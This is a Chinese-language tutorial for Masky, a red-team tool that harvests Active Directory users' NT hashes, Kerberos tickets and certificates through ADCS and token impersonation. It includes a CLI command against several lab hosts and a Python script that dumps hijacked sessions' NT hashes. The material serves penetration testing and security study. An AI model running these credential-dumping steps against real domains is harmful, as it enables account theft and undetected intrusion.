Masky 项目使用教程
1. 项目介绍
Masky 是一个 Python 库,提供了一种通过 Active Directory Certificate Services (ADCS) 远程获取域用户凭据的替代方法。与传统的通过 LSASS 进程内存转储获取凭据的方式不同,Masky 利用了 Windows 和 Active Directory 的合法功能,如令牌模拟、Kerberos 证书认证和通过 PKINIT 获取 NT 哈希。Masky 还提供了一个命令行工具,方便在渗透测试或红队活动中使用。
2. 项目快速启动
2.1 安装
Masky 可以通过 PyPI 仓库进行安装,使用以下命令:
pip install masky
2.2 使用命令行工具
以下是一个基本的 Masky 命令行工具使用示例,目标为 4 个远程系统,收集 3 个不同域用户的 NT 哈希、CCACHE 和 PFX:
Masky -t 4 -d sec.lab -u askywalker -p yourpassword -ca "srv-01.sec.lab\sec-SRV-01-CA" 192.168.23.130 192.168.23.131 192.168.23.132 192.168.23.133
2.3 使用 Python 库
以下是一个简单的 Python 脚本,使用 Masky 库从远程目标收集域用户会话的凭据:
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# 定义认证参数
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# 创建 Masky 实例
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# 设置目标并运行 Masky
target = "192.168.23.130"
rslts = m.run(target)
# 检查是否成功劫持用户会话
if not rslts:
return False
# 显示劫持的用户及其 NT 哈希
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
3. 应用案例和最佳实践
3.1 渗透测试
在渗透测试中,Masky 可以用于快速获取域用户的凭据,而无需直接访问 LSASS 进程。这使得在受限环境中进行测试更加隐蔽和高效。
3.2 红队活动
在红队活动中,Masky 可以作为获取域用户凭据的一种手段,帮助红队成员在不被发现的情况下获取目标系统的访问权限。
3.3 安全审计
在安全审计中,Masky 可以用于验证域用户的凭据是否存在泄露风险,帮助企业及时发现和修复潜在的安全漏洞。
4. 典型生态项目
4.1 Certify
Certify 是一个用于自动化 Active Directory 证书服务 (AD CS) 攻击的工具,与 Masky 类似,Certify 也利用了 ADCS 的漏洞来获取域用户的凭据。
4.2 Certipy
Certipy 是一个用于自动化证书攻击的工具,它可以帮助渗透测试人员和安全研究人员发现和利用证书相关的漏洞。
4.3 Impacket
Impacket 是一个用于网络协议操作的 Python 库,它提供了许多用于网络攻击和防御的工具,Masky 在实现过程中也借鉴了 Impacket 的一些功能。
通过结合这些工具,安全研究人员和渗透测试人员可以更全面地评估和提升系统的安全性。